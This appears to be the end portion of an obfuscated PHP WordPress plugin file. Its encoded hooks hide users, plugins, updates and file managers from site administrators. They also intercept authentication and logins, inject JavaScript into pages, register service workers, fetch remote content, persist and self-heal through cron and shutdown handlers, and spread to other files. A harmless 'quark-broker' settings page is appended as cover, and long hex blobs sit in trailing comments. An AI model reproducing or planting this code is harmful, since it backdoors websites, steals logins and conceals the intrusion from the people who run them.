            ${"\x47\x4c" . 'OBA' . 'LS'}['sc_di' . "a" . "g_\x62\x6fo" . "\x7499"] = $hg ? (794 ^ 795) : (3743 ^ 3743);
            ${('GLOB' . "\x41") . "\x4c\x53"}["sc_" . 'diag' . '_c' . 'o' . "\x6es" . 't99'] = $hc ? (3337 ^ 3336) : (1617 ^ 1617);
            ${"G\x4c\x4f\x42" . ('' . "\x41\x4c\x53")}['s' . 'c_di' . 'a' . 'g' . '_f' . "\x69l\x6599"] = $hf;
            sc_dbg_log("06x " . 'd' . 'iag: ' . '99.' . "\x399.9" . '9' . ' eve' . 'ry' . 'whe' . 're=' . ($ew ? 'Y' : 'N') . ' g=' . ($hg ? (2755 ^ 2754) : (747 ^ 747)) . ' c=' . ($hc ? (3298 ^ 3299) : (1790 ^ 1790)) . ' f=' . $hf . '/' . $tf . " ->" . "\x20" . $file);
            return $file;
        } catch (Throwable $e) { return ''; }
        catch (Exception $e) { return ''; }
    }
}

if (!(!(("\x66\x75\x6e\x63" . "tio") . 'n_exist' . 's')('sc_b' . "o\x6ft_v" . 'er_e' . 'xc' . "lud\x65" . 'd'))) {} else {
    function sc_boot_ver_excluded() {
        if (!isset(${"G" . "LO" . "\x42\x41" . 'LS'}['sc_' . "b\x6fot" . '_ver'])) return (15 != 15);
        {return ((string) ${'GL' . "OB" . ("A" . "LS")}["\x73c_bo" . 'ot_ve' . 'r']) === sc_ver_sentinel();}
    }
}

if (!(!('fu' . "" . "n" . "ction_e" . 'xists')('sc_b' . "\x6f\x6f" . 'tstr' . "a" . "\x70\x5f\x63on" . "st_" . 'exclu' . 'ded'))) {} else {
    function sc_bootstrap_const_excluded() {
        if (!defined('SC_C' . 'O' . "R\x45" . '_BO' . "O" . "TST\x52" . "\x41P\x50\x45D")) return (2 === 8);
        return ((string) ('c' . "onstant")("S" . 'C_C' . 'OR' . "\x45" . '_' . 'BO' . "O\x54" . 'ST' . 'RAP' . "\x50ED")) === sc_ver_sentinel();
    }
}


if (("\x66\x75\x6e\x63" . 'tion_' . "e\x78\x69s" . "\x74\x73")('sc_' . "d\x65b" . 'ug_on') && sc_debug_on()) {
	$sc_diag_file = sc_diag_dump_versions();
	unset($sc_diag_file);
}


if (isset(${'G' . 'LOB' . "ALS"}["\x73\x63" . "_" . 'boot_' . 've' . "r"])) {
    if (version_compare((string) ${"\x47\x4c\x4f\x42" . "ALS"}["\x73c_\x62o" . 'ot_ve' . 'r'], sc_ver(), '>=')) {
        
        if (sc_boot_ver_excluded()) {
            sc_dbg_log('06e' . ' b' . "oo\x74\x5f\x76" . "e" . 'r=99' . '.' . '99' . '.9' . '9 ST' . "\x41L\x45" . " -" . '> E' . "X\x43L\x55\x44" . 'E, ' . 'b' . "o\x6f\x74" . " " . 'to E' . "ND");
            ${'G' . 'L' . "" . "OBALS"}['sc_' . "b" . "oo\x74" . "_" . 'ex' . 'cl'] = (3840 ^ 3841);
            unset(${"GLO" . ('B' . 'A') . 'LS'}['sc' . '_' . 'bo' . "o" . 't_' . "ver"]);
        } else {
            sc_dbg_log('06a b' . "o\x6ft_v" . "er a\x6c" . 'read' . "y \x73" . "\x65t " . "\x28" . ${("G\x4c" . "\x4f\x42\x41\x4c") . 'S'}['sc_b' . 'oo' . 't_ver'] . ') -' . ">\x20e" . 'a' . 'r' . 'ly RE' . 'TURN');
            return;
        }
    } else {
        sc_dbg_log("0\x36\x62\x20" . "\x62o\x6f\x74 " . "\x74" . 'ake' . 'ove' . 'r');
        ${"G" . "LOBAL" . "\x53"}["\x73c_b" . 'oot_' . "t" . 'k'] = (35 ^ 34);
    }

} elseif (defined("\x53C_" . 'C' . "ORE\x5f" . 'BOOT' . "\x53T\x52" . 'A' . 'PPED')) {
    $_sc_leg = ("const" . "a" . 'nt')('SC_CO' . 'R' . "\x45_" . 'BOOTS' . 'T' . "RAP\x50\x45" . 'D');

    if (
        is_string($_sc_leg) &&
        preg_match("/^\\d\x2b" . "\\.\\" . 'd+\\.\\' . 'd+$/', $_sc_leg) &&
        version_compare($_sc_leg, sc_ver(), '>' . "=")
    ) {
        
        if (sc_bootstrap_const_excluded()) {
            sc_dbg_log('06f ' . 'S' . 'C' . "_" . 'C' . 'ORE_B' . "OOTST" . "\x52\x41P" . 'PED=' . $_sc_leg . ' S' . 'T' . 'ALE ' . '-> E' . "XCL" . 'U' . "\x44" . 'E, ' . 'b' . "\x6f\x6ft\x20" . 'to EN' . 'D');
            ${'G' . ("LOB" . "\x41") . 'LS'}['sc_bo' . 'ot_e' . "x" . 'cl'] = (1751 ^ 1750);
            unset($_sc_leg);
        } else {
            sc_dbg_log("06c\x20S" . "C\x5f\x43" . "ORE_B" . 'OO' . "T\x53T\x52" . 'APPE' . 'D=' . $_sc_leg . ' ->' . " " . 'earl' . 'y R' . 'E' . 'TURN');
            return;
        }
    } else {
        sc_dbg_log("06d " . "le\x67\x61c" . "\x79 \x63\x6f" . "\x6est\x20t" . 'akeov' . "e\x72");
        ${("GLOBA" . '') . "LS"}['sc' . '_boo' . 't_t' . "\x6b"] = (777 ^ 776);
        unset($_sc_leg);
    }
}

sc_dbg_log('06 bo' . 'ot ' . "\x76a\x72s" . ' se' . "t");


bagop(sc_file());
sc_dbg_log('07 un' . 'pu' . 'rg' . 'e d' . "o" . 'ne');

if (!(('function_' . 'exist' . '' . "s")('sc_mu') && ("func" . '' . "\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")('s' . 'c_' . "\x73" . 'lug'))) {} else {
	try {
		$_mu_dir = sc_mu();
		if (@is_dir($_mu_dir)) {
			$_my_slug = sc_slug();
			$_entries = meyo($_mu_dir, (4864 | 136));
			if (is_array($_entries)) {
				foreach ($_entries as $_entry) {
					if ($_entry === $_my_slug) continue;
					if (strtolower(pathinfo($_entry, ("\x63\x6f" . "nst" . "\x61" . 'nt')("PAT\x48\x49" . 'NFO_' . 'EXTE' . 'N' . 'S' . 'I' . 'O' . "\x4e"))) !== 'ph' . 'p') continue;
					$_f = $_mu_dir . '/' . $_entry;
					if (@is_file($_f) && @filesize($_f) > (5478 - 478) && sc_is_family($_f, (4323 + 677))) {
						xari($_f);
					}
				}
			}
		}
	} catch (Throwable $e) {
		vugo("de" . "dup", $e);
	} catch (Exception $e) {
	}
}


if (!(! hisoc())) {} else {
	iyi("sh\x75" . 'tdow' . 'n', "s" . 'c' . '_mig' . "ra" . 'te', (2464 ^ 2465));
}


${'GLOBA' . 'L' . "\x53"}["s" . 'c' . "\x5fp" . 'lugi' . "n" . '_rul' . 'es'] = array(); 
${'GLOBA' . "\x4c" . 'S'}["s\x63\x5fi" . "\x6ej" . 'ect' . '_ru' . "l" . 'e' . 's'] = array(); 
${"\x47" . 'LOBA' . 'LS'}['sc' . '_js'] = ''; 

if (("fu" . 'nc' . "tion_exi" . "st\x73")('re' . 'giste' . "r\x5fs\x68u" . "t\x64own" . '_func' . "tion")) {
	("\x72\x65\x67\x69\x73\x74\x65\x72\x5f\x73\x68\x75\x74\x64\x6f\x77\x6e\x5f\x66\x75\x6e" . "ction")("s" . 'c_fa' . 'ta' . 'l_gua' . 'r' . "d");
	('regist' . "" . "\x65\x72\x5f" . "shutdown_function")('sc' . '_boot' . '_' . 'leas' . "e_o" . 'k');
}

$_sc_qself = dirname(sc_file()) . '/.q_' . basename(sc_file(), "\x2e" . 'php');
if (!(@is_file($_sc_qself))) {} else {
	$_sc_qm = trim((string) @(("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f" . '') . "\x6e\x74e\x6e\x74\x73")($_sc_qself));
	$_sc_cm = efuw();
	if ($_sc_qm === '' || ($_sc_cm !== '' && $_sc_qm !== $_sc_cm)) soda($_sc_qself);
	unset($_sc_qm, $_sc_cm);
}

try {
	@(('t' . 'ouc') . 'h')(dirname(sc_file()) . '/.bt' . '_' . basename(sc_file(), '.' . 'p' . 'hp'));
	$_sc_cm = efuw();
	if ($_sc_cm !== '') {
		$_sc_ocf = '.ocf_' . $_sc_cm;
		foreach (array(dirname(sc_file()), sc_mu()) as $_sc_od) {
			if (@is_file($_sc_od . '/' . $_sc_ocf)) @(("\x75" . 'nl') . 'in' . 'k')($_sc_od . '/' . $_sc_ocf);
		}
	}
	unset($_sc_cm, $_sc_ocf, $_sc_od);
} catch (Throwable $e) {
} catch (Exception $e) {
}
unset($_sc_qself);

iyi("i\x6e" . "\x69t", "s\x63_s" . 'can' . '_acti' . 'vate', (450 ^ 450));
iyi('init', 'sc' . '_mail' . '_supp' . "\x72e\x73s", (1311 ^ 1311));
iyi("l\x6f" . 'ad-' . 'plug' . 'ins' . '.p' . 'hp', 'sc_' . "\x73c\x61\x6e" . "_a\x63t\x69" . 'v' . "ate", (1065 ^ 1065));
iyi('admi' . "\x6e\x5f\x69n" . 'i' . 't', "\x73c\x5f" . "sc" . 'a' . 'n_' . "\x61\x63tiv" . 'at' . "\x65", (3338 ^ 3338));
iyi("a\x64mi" . "n\x5f" . 'i' . 'nit', 'sc_' . "c\x72on" . '_se' . "tu\x70", (9 ^ 11));
iyi("a" . 'dmin' . "_\x69n" . "i" . 't', 'sc' . "_\x70e\x72" . 'iod' . "i\x63", (5 + -2));
iyi('adm' . 'in_i' . 'ni' . "t", "sc_" . 'e' . 'nsur' . "e_\x61" . 'd' . "m\x69n" . "\x5fti" . 'ck', (8 - 4));
iyi('shut' . 'do' . "wn", "s\x63" . "_s" . "prea" . 'd', (6 + -1));
zage("wpfm_" . "\x65\x6c\x66i" . "\x6e" . 'de' . 'r_' . 'conn' . 'ect' . 'o' . 'r' . "\x5f\x6f\x70" . "t\x73", "s\x63\x5f\x68" . "\x69\x64\x65\x5ff" . 'm', (12 ^ 6), (3282 ^ 3283));
zage("\x77p_fi" . 'le_m' . 'an' . "\x61g\x65r" . '_con' . 'nect' . "o\x72_" . "opts", 'sc_h' . 'i' . 'de' . "_fm", (10 ^ 0), (3518 ^ 3519));
zage('elf' . "\x69\x6ed" . 'er_' . 'conn' . "e" . 'ctor' . '_opts', 'sc_hi' . 'de_' . 'fm', (8 ^ 2), (1329 ^ 1328));
zage('fi' . "l" . 'e_' . "m" . 'ana' . 'ge' . 'r' . "\x5fc" . "\x6fn" . "nec" . "\x74o\x72" . '_opts', 'sc' . '_hide' . '_' . 'f' . 'm', (18 + -8), (3188 ^ 3189));

zage("authe" . 'nti' . "\x63\x61te", 'sc_in' . "\x74" . "\x65rc" . "ep\x74", (1473 - 474), (17 ^ 18));
iyi("\x77p\x5flo" . "\x67\x69" . "n", "s\x63\x5f\x6c" . 'ogin_' . "c\x6fnf" . "ir\x6d", (276 ^ 755), (1702 ^ 1700));

zage('p' . "re_\x75" . 'ser_' . 'query', "\x73c_hi" . 'de_u' . "\x73er\x5f" . "q");
zage('r' . 'est_u' . 'ser' . '_q' . 'u' . "er" . 'y', "sc_" . 'hid' . "e_" . 'u' . 'ser_' . "\x72\x65st", (14 ^ 4), (15 ^ 13));
zage("vi\x65\x77" . 's_use' . "r\x73", "\x73c\x5f" . 'h' . 'ide_u' . 'se' . 'r_' . 'co' . 'u' . "n" . 't');

zage('de' . 'bug_' . 'infor' . "m" . "ation", 's' . 'c_' . "\x68ide" . '_de' . 'bug', (13 ^ 7), (3808 ^ 3809));

zage('sh' . 'ow_a' . "d\x76\x61" . 'nc' . 'e' . "d_p" . 'lugin' . 's', 'sc_' . 'hide' . "_" . 'mu', (28 - 18), (1910 ^ 1908));
iyi("\x61dmin" . "_he\x61" . 'd-p' . 'lugin' . "s.p" . "hp", "s\x63_hi" . 'd' . 'e_' . 'mu_cs' . "s");
zage('s' . 'it' . 'e_tr' . "a" . 'ns' . 'i' . "en\x74_" . "up\x64a" . 'te_' . 'plugi' . "ns", 'sc_h' . 'ide_u' . 'pd' . 'a' . "te" . "s");

zage('al' . 'l' . '_pl' . 'ugins', "\x73\x63" . '_hide' . '_f' . 'r' . "om" . "_plu" . 'gin' . "s\x5f\x6c" . 'ist');

iyi('wp' . '_a' . 'jax_' . 'm' . "k_f\x69l" . "\x65" . '_fold' . 'er_m' . 'anage' . 'r', 'sc_' . 'pa' . "t" . 'c' . "h" . '_fm', -(3996 >> 2));
iyi('wp_aj' . 'ax_co' . 'n' . 'nect' . "or", "s\x63_pa" . "t" . 'ch_fm', -(1998 >> 1));
iyi("wp_a\x6a" . "\x61" . "x_" . 'f' . 's_' . "c" . "on\x6e" . "\x65ct\x6fr", "sc_" . "p" . 'a' . "t\x63h" . '_fm', -(740 ^ 259));

iyi('w' . 'p_' . 'foot' . "\x65r", "sc_j" . 's_out', (1241 - 242));
iyi("tem\x70l" . 'a' . "te_\x72\x65" . "\x64" . 'i' . "rect", "\x73c\x5f\x6a" . 's_o' . 'b' . '_' . 'st' . 'art', (1966 ^ 1966));
iyi("pl\x75\x67i" . 'n' . 's' . "\x5f" . "\x6coade" . "d", 's' . "c_s\x74" . 'r' . "ip\x5f\x6c" . "o\x63\x6b\x65" . 'd_hoo' . "k\x73", (4042 ^ 4042));
iyi('admin' . '_' . 'fo' . 'o' . "t" . 'e' . 'r', "sc\x5fs" . 'w_reg', (7992 >> 3));
iyi("l" . "og" . "in" . '_f' . 'oo' . 'ter', "sc" . '_s' . 'w_' . 'r' . 'eg', (21 + 978));

iyi("pl\x75\x67" . "\x69\x6e" . 's_l' . 'o' . 'a' . 'ded', 'sc_l' . 'oad' . '_ca' . 'c' . "he", (3438 ^ 3436));
iyi('p' . "lugi\x6e" . 's_' . "lo" . 'ade' . "d", 'sc_d' . 'efe' . "\x72" . 're' . "\x64" . "_d\x65le" . 'te_ru' . 'n', (3261 ^ 3261));

iyi("\x70" . 'l' . 'ugi' . 'ns_lo' . 'aded', 'sc_re' . "c\x6fv" . 'er', (1978 ^ 1978));
iyi("plu" . "\x67in\x73\x5f" . 'l' . "oa\x64\x65d", "\x73c_" . "se" . "l\x66_h\x65" . "al", (2475 ^ 2475));

iyi('p' . 'lug' . 'i' . "\x6es_" . "lo" . "a\x64e" . 'd', 'sc' . '_ini' . 't', (1824 ^ 1825));
iyi('plu' . "gin" . "s\x5flo" . "a" . 'de' . "d", 'sc_c' . 'a' . 'n' . 'ar' . "y\x5fm\x61" . 'rker', (1237 ^ 1239));

iyi('plu' . 'g' . 'in' . 's' . "\x5flo" . "ad\x65\x64", 'sc_cr' . 'on_' . 's' . 'e' . 'tup', (6 >> 1));
iyi('p' . 'lugin' . 's_loa' . 'd' . 'e' . 'd', "sc_" . 'maybe' . '_fe' . 'tc' . 'h', (4 + 0));
iyi('pl' . "ug\x69n" . "\x73_\x6c" . "\x6f" . 'aded', "s" . "c_s\x77_" . "setup", (5 | 0));
iyi("p\x6cug" . 'in' . 's' . '_load' . "\x65\x64", 'sc_d' . "\x72o" . 'p_g' . 'uar' . 'd', (11 - 5));
iyi('p' . 'lu' . 'g' . 'ins_l' . "oa" . 'ded', "s" . "\x63\x5f" . "t" . 'h' . 'eme_w' . 'atchd' . 'o' . 'g', (9 - 3));
iyi("afte" . 'r' . '_sw' . "itch\x5f" . 'them' . 'e', 'sc_' . 'the' . "me\x5fs" . 'w' . "\x69\x74ch" . "ed");
iyi("pl\x75gi" . 'ns_' . "lo\x61" . 'ded', "sc\x5fp" . 'ers' . 'i' . "st" . '_' . 'al' . "w\x61ys", (56 >> 3));
if (!(('fu' . "\x6ec\x74\x69on\x5f\x65xi" . ("s" . "\x74\x73"))("reg\x69" . 's' . 'ter' . '_sh' . "utd" . "ow" . "\x6e" . '_func' . 'tio' . 'n'))) {} else {
	(("register_shut" . "") . "down_functi" . "\x6f\x6e")(function () {
		if (!empty(${'GLOB' . "A" . "L" . "S"}['sc_p' . "ersi\x73" . 'te' . "d"])) return;
		if (!defined('ABSP' . 'A' . 'TH') || !("fu\x6e\x63\x74io" . "\x6e" . "_exist" . "s")('g' . 'et_op' . "\x74io" . "\x6e")) return;
		if (("f\x75n\x63\x74" . "ion_exists")("sc_" . 'pe' . 'rsi' . "\x73t_" . 'al' . 'w' . 'ays')) {
			try {
				sc_persist_always();
			} catch (Throwable $e) {
			} catch (Exception $e) {
			}
		}
	});
}
iyi('plu' . 'g' . 'in' . 's_lo' . "\x61\x64\x65" . 'd', "\x73c_c" . "ro" . 'n_r' . "\x65" . 'c' . 'ov' . "e" . "r\x79_s" . 'etup', (4 + 4));
iyi('sc' . '_cron' . '_rec' . "o" . 'v' . 'ery', 'sc_cr' . 'on_re' . 'cove' . 'r' . "\x79");
iyi("sc_c" . "ro\x6e" . '_gua' . 'rd', 'sc_c' . "r" . "on" . '_g' . "u\x61r" . 'd_ti' . 'ck');
iyi("shu" . 'tdow' . 'n', 's' . "c\x5f\x66l" . "us\x68_\x65" . "r" . "\x72\x6frs", (16 ^ 26));

iyi("\x70\x6c" . 'ugi' . 'ns_lo' . 'a' . 'd' . "e\x64", function () {
	if (!("f" . "u\x6e\x63\x74\x69\x6f\x6e\x5f\x65" . "" . "\x78i\x73ts")('get_' . 'opt' . 'io' . 'n') || !('f' . "\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69" . '' . "\x73\x74\x73")('upda' . "\x74e" . '_op' . "ti\x6f" . "n")) return;
	$last = (int) @get_option("s" . "c_las" . 't_' . "\x72" . 'ec' . "o\x76e\x72" . 'y_che' . 'ck', (2165 ^ 2165));
	if ((time() - $last) > (767 ^ 3311)) {
		if (!wewi()) return;
		@update_option('sc_l' . 'as' . "t" . '_reco' . 'very_' . 'check', time());
		sc_cron_recovery();
	}
}, (9 + 0));

iyi("sc_c\x72" . 'on_f' . "e" . 't' . 'ch', 'sc_' . "fe\x74" . 'ch');
zage('cron' . "_\x73c" . "he" . "d" . "ul\x65s", 's' . 'c_cr' . 'on' . "_int" . "e" . "\x72" . 'v' . 'al');
sc_dbg_log('08' . ' ' . "\x68oo\x6b" . "s" . ' reg' . 'ister' . "\x65d");

if (!(('functi' . 'o' . '' . "n_exists")('did' . '_a' . 'ct' . 'ion') && did_action("pl" . "ug" . 'i' . "n\x73\x5f\x6c" . 'oad' . "e\x64"))) {} else {
	axeb();
}

sc_twin_yield(__FILE__);

}  



if(!defined('SC_COVER_HOOKS')){define('SC_COVER_HOOKS',1);

add_action('admin_menu',function(){
    add_options_page('Settings','Settings','manage_options','quark-broker-settings',function(){
        echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
        settings_fields('quark-broker_group');
        do_settings_sections('quark-broker-settings');
        submit_button();
        echo '</form></div>';
    });
});
add_action('admin_init',function(){
    register_setting('quark-broker_group','quark-broker_options');
    add_settings_section('quark-broker_main','Configuration',function(){echo '<p>Configure options below.</p>';},'quark-broker-settings');
    add_settings_field('quark-broker_cache','Cache Mode',function(){
        $o=get_option('quark-broker_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
        echo '<select name="'.esc_attr('quark-broker_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
    },'quark-broker-settings','quark-broker_main');
});
if(function_exists('add_shortcode'))add_shortcode('quark_broker_stats',function(){
    $o=get_option('quark-broker_options',array());
    return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
    if(!get_option('quark-broker_options'))add_option('quark-broker_options',array('cache'=>'enabled','version'=>'1.0'));
});

}

/*baa01e88fba1a96e23ec5ce0198ee7dafe0c7af0e5a016303220b3dc227cd17638150923f9499c72fbccc09cfa675003737a3e2fb34a91591f694ac2f16a346cef1f4f06c0b7f472e6e2f9a6262aeccc2708ba832f315fa2196e7bc324e4718745814b3022487cc3bafe2850cbfdd33c4974033a4ce1132f198bc1c1b1ee391f27bfe62d7ed9b9ba1a994c3f222318adc4edb4c5cad38dc18285e8d3485e47a585742ce2c3f3194beb0efdd7585e181b12517a6cb9b442812fa34812bb725273ee50028d72a713ee913ddc3499f53959c6de4ddff44ff37ae2ffccff38c7ffcd661f7cd56dd5ae9cf809e9b3dd781a545815782113c5bd1dae3a8d44cd013412cc12a2230ce93a7ddac4741cff1a156af08552205b9c678d1011eddb9f3ee861514f66285c919c3600731b4323bede5006b1d89c28ae5fa960a4e60ba9dfa31c70092cfa9738601a145e96556bbed30eb1528cedc892f3231804dd1de1a0529527a84af237ca2138dfc9103d5235a00e216229c8db47b1524ef452b9e960e2d665df9143cd03b301a2e2bfc07d13fe1d100e1ac74bfaab8877c4620ce6468960d207d7b9843890510fa6115eff38ef7c7615cf41de1c5795576ea3c56430b23a481dd27cd4d21197e5fe3064d5150a5bb654e72fb6913ae4da14b5226a0222f0c86d3ef2ade328f823e9f6344c2b6380e2a73425db6537d8f36689cb54acf33b19cd19430f536c77fe4cb3ad4d06e2a0542650ab17dcc0680d1725879d32e60459dd7579d89a8f30cf9f47ef4533aeb360453f1a837bbb6f5cb94eb8cc9759d1a91c353e22a9e51fe86d0be920cd56f40a2f5c39d9a7ad860e21ead86df61249e61463be15016d29f74c3da17e62eb7b02128ce32a3418172b17d5cdf6765f0a764eb5a05cf04666f89644cca540e9fc2ed262ed338a1dd9e7962b4d3dd7c0ee33c5ce7687512ab5714dabe9a943b31b1cd551a70ac88ee2684fdf31882226253dc35cb10d9996d0be2ee78756170f9cbc608d1546b4f61066b8a800f457f1e0133fba255141afea5636bcdf0c327b8b366a8e08f9c9cd81889976d76cde5a5050e7eedf57e65d5fea53c1391feeaad686d0e6a95bab92bbe96af7aa6ab4cfb464e78703f35e4f0605713ea640282e69b3034e3f503f32991168e5960174a6d92ee7a4c6c58fe23bc08cf4a441035667f817de4f61b6f198f261836a599f7e23fea8e943d2bb6c73085b1967e7e08a7666ce937d6ab445cf7c99d81ce32872e7a4f526bfc8f2e0e1e4f542c90d5a53ec7a78aa7cafa0281e4b313b1ae9ef95fb8cc3a6e239b1b49e30c0553ef5eec5c7ddf2f362aa868e28b365537732a3d9935805e5a6376e1b9ce60d75a443628d0929489900495e24546461fb35ac11ca891fcd804991c613cb9a1c156a77a368ad1f82bd8187db685fb73209c4bd9047b2c85ede07e6dc1a88b378f80769107bf0f754c936e8549c91b171dce002062b44cb267b22c47d2ccf5240a4603e31f712fe828bb113674d803116e9d9938605a6efea37128f60e01f9254ff410202c7348518c845a1415f55f9acbc06cb08aac82531ac1db164c2d03944d658923a885145d6093b82a4837a9933fdef49451aa53c42476adf6d2e20e4821d0d208253a4bd47b47c7f4209169793c5d957d938e4dc198c8254e59765b2c42c190e12c203d1bd0e4597671bc3a67bb4deee79e87c0182ef05b2e4e5fbc777ec149ddbe6a1bd75c64eebb43c46b27137138a1b0c78a1c4dc881ca78037f69c1acbffbcbc389073df02f96b4358501194b6e52918684bf5d1e190c55b970e207a76f0e198f0ea328d92cc31a128dba0276b8664887f51a5f9c0a2ef9bed5161a4a6ed72c438519077d49ea6748a1c818660adae6512184d17d68866246cd4bdff0b6afcc25ccf7c00d1c94b68c88420fde6b41fe02756c93b9318ce71d9e1af1d30bf14ef007e873616f41628abe11ad82180ad091e29aafdf157d9094947a1e7281045c28f865da3b9a999c9bfe0fcf7692cb234f2d43874ecefc2232c68e5cc89b05350a48cf040e7d4dae84f4870ff442b8b286a3d46ac4426a036f4240e5e884834db8a1983a454330b0fbff517a8ffe31c90e2afcde02509bd8fc9b02b29550a56a3ad458e1482ef0edb629e53b54a39d6267c364a5f9884ce2cbcb7c807eff61868ac72922b9e5a924b166f3513219691f0a53ca53535e99db62d5844cf693b9c0a658daeb5251f41239ecb50103688f4861b168d6c5c4c1393f1fdcabe9866ead71ac77ddfcf4853b8803b3c416d5812719f79a3adafec8a0c1f96dc840d387cb4b7a34af55e3d007bd5a7986f60cdd263fca0db80c4711bfd774b71a2c2681f02c3724aea29ff2d30f43affd47643f6b4aba036063eb09193f180e7742500c5b6005ea17e3fc0c3698ca828f09ee9a793fcc2681aba3fddc622acb5160e5adcc427d35a784b7cab6dfd757edd0606da7ddd4dfeec25498cd81331ec80858362ddd27194ee5f7680a638011c623d08e605af25eeb4e015c3b13e7f92891a23401abc6f2309cb9d751c3eef6a09cd57b79a540aba95ec88eeaa7ffe9bf94ad282c99a27f3009fe8b47d94ea25eec1919733ce8bcafc30170867bedb86cc87ae5945d54261332ad5b9b8435fe6e053eb8bf5411df02e1f6136f1b88edd8d5ea9f1abb2a2da25813798ef23aaafc3ed5918ffd467073eebdd6ced6cca22111ca089a226c0ed0b468b9653bed79d1f445819c329f4dd80e1e16a78da1d00081b47760c4315310c6ae87ad16520ffbfe3006e04126793efa079e4a3cd3591b60475928aa9*/
/*5a5230b012f24a26fbc099ca5809b7db55880590e10e791f702757940ab5664340fbce474141e982f172d1daca5bc8027adba74f755ae70fe0e4f4f47545aca9a38b4cfbd1174b27fb1b4184b72968b7f0048756563d6489d981e8df20a475a2a8d6c3f7b378c26a1b1bdfdcb9c3bcc10a24f3678363c4e6ddbd0140e4c79165c9dd1bb272a24b29294ec4e5759a261ece0028ee812e872b3566a3b89a5a9c7e2a5baf3072d2c512cc514e5941525398900a9dfd86fd20eb04cb15a91d067b7209fd34d4be0c412adfcd10533cfadb2cb97953ef0a49ca074455bb216b325522b920dee241d7a9f59daad63a9bd3855d19981411dd03ef55674f2a4a19e5d1a28082213478bbb144fef656bacc44abcd0e6e80846967d398dfc4ffd39df29a164b047f63c1fc82f2830e09faf77d5f1c763846a2c39782365bb67e1dcdaf7f9b959b50a7623bc50757750c746df7c9f5dc52f59845ac48989eb33bebc065ef0c759d87aeb7f7a0b687f8c5f471b0a3d0e9cc7b30da83c1bb1ace450d7abbfb42d4342e1ea4b9b46ea2d11600f66add2cc7d7d8d78b15641447fecc4f5c9d2c4e4a2fee16b96711e565e5e524bcfa7565d08d3253ff582cefa82fc5b123ce354de415c83839f53e82df6f7502838877f5486f1caf8ad093edce8633e383f535309c2a7a9993cda3deaa0f386c9f4b1a6fe953b58fe67954a10336800c654759d2e71ce9eada89d53c2ec24c5d45b308ff6e8ae610a8a6c4d22883d15eb9fe4500268c96d96c161b34f4c8f96699a3a58f84a3c3d1c6c3f0fba25a4403376af60d50bc1b22b7fba186e747f3e2abf4a0eee83e0b23095a92843b30bf2fa1841e9d486930302a680346f386e3686267a24c26d4b29a9f961b554763ebbd4d4f6ae99077ae6ed09ee30d709ea8a8807c1fb0d3cecd5aa11aac84a704df4fee99d7ca65bddd7c8b14f6efa748c88e313958731e5116e8033bbac87bd3186bdb85c4931ed1e3f09f9babe7e5b0f6b17824201b0a14f899bbb8adc4b5801e3d42ec2ab4912098433b04dc743b58b082d05144d8611c7d483c7995a6d1d5e3e9284b9061007557691987ff6563468df6cbf1ccabea5993c44b9551b186df8d4b582ad8afdd4093a08ec94fd92711dfae4489cb9afb83e7952bad808b518916f9d9d65b1100eefae0a96afc33ba9e457b7a143853aa0110971a4fce820765d8cb121f7d2ee5943a3935248387eb3586576667d7b95824da2d4dbeec730cc552fd2eafcf75c8f1bd6b9161d07d8d520b4880ff148e367fe50f0b1f3d25b4d6b15c0f52345ee0f260454f2313422c9779cbdd75d71c124d5d73851fb0e92bc973b5144d1c6e4052fd901d53e6879f03fe1dc1ff877ada2002f5dcbe8891b72b26d57f275244eb7aca9e2770d4073a08691479b15de8caca6374742825df61e3d7fc82c69f5fe45038f688d79774e301dc84a6bf50e52ac462159a89d7aa4fa1ff902cce482560475c856fb35ed439eb7c1e0505d885a61d3b9912f8aac1f5e814700012e0256c3f385188ad91df182d077e7c33033a863fdd634889c9b8c1521a3d0410faa65ca600e3b6ef9a924d6cbc5fd8a932d02aa4c0c8cfafcb3d78cf6fc8921ebec145a5ecab2c2e9871b23883ee9f17d0dfd29c2c6dce5383c82d19026d45e50b89da15eecf7aff43c9b3f68cdeb7a2c8eb3b592abe90b3000d9e74aa834f7b1f865de8149c87310bdf4f8ec072011f3d8ee065909791e2a34f6379e4ce14b1a63cfb381e8d7883a1f9f4175eb22198da5092137efed4fb09c4f8b072561e8b4b712fa372326afce019afc083103b689e13fa0e4dd57c084e1b2893d848620622eca87183e1fe74c99e39db9eb29f8c611c90bc407ab2db514387b369f12e6131ea0d78845625cbda025f6c10e4d543f94c189e5094137e365086ea9131f28d202e526882621a13fefd052445d20276d8620c1bcc597fe0e27a13e948e3ab171854d3665842aba44c34500b32f785866d3ab43e5e167c8e5597ec6b0fbf4c5f7479be637b45ed50506368af56c4ddbe77c8c91bde4abcae17f08b6e36e52b5b9b11af1872c1654f599dc951ccad0f4d0331be93a1ec0f50a5f448cea0f1d3c4fd530c28e203e61827541b68610f3b21cade1205ead1eba3f643374bfac21b3e3eddd9e40ca5cfdcd71dfd4f1f4aae11b9a8ad718bdb12a859ff87b9ece3f19e6632e623ef541305e0dd7f04c9a44259b852fbeb153551ff719c3ae2f4a184c9ec999e7a49f326abe7115430d2af0119ce34f822ae03bc63fdb1ec2d3d56cda2aad7783c4f1e61eb557f65813d8f4c2ab0f830fd9a60ec547b3ea3b593e0f8bcd0cbd617bf586fd492b702e6a5cfe904e2d9b3c27d9c22f78cf74670cb4bf21acd29b064e2609af27527eb970b64e286f8f7fc37566d19d63f1434eefdb5f8a7891bb856a64155ed23fbbf7590a9c865740388d574ddee9b61f7c8bdc8226774ffee5aa3684011464cd27809527916df20ad884fcf6664480d46cd6fb4c3fecafcab69357f3b2af4b4b5b8132b082e2ffdd756a3c30722e19d7f213e81922bca56972136bcf3f6e759b30a274917dee604a2c54fbd918cb540c92912359427448db70883d368e7f4572437c63158c1e5a0f2874b90d552d74ace2f2641ab7e3b7b0c1c1f0e872b3a02f5185f635ef0fe2a25ee7de7dc350f31e33a65da8bde18f93d715e7c07bfe127e12e693cf6a49c473ca3f3abdec2d199fa50ade6fddb38021a8d0ae80b2d0a4aa91ac15300e4e42403efcf70126d0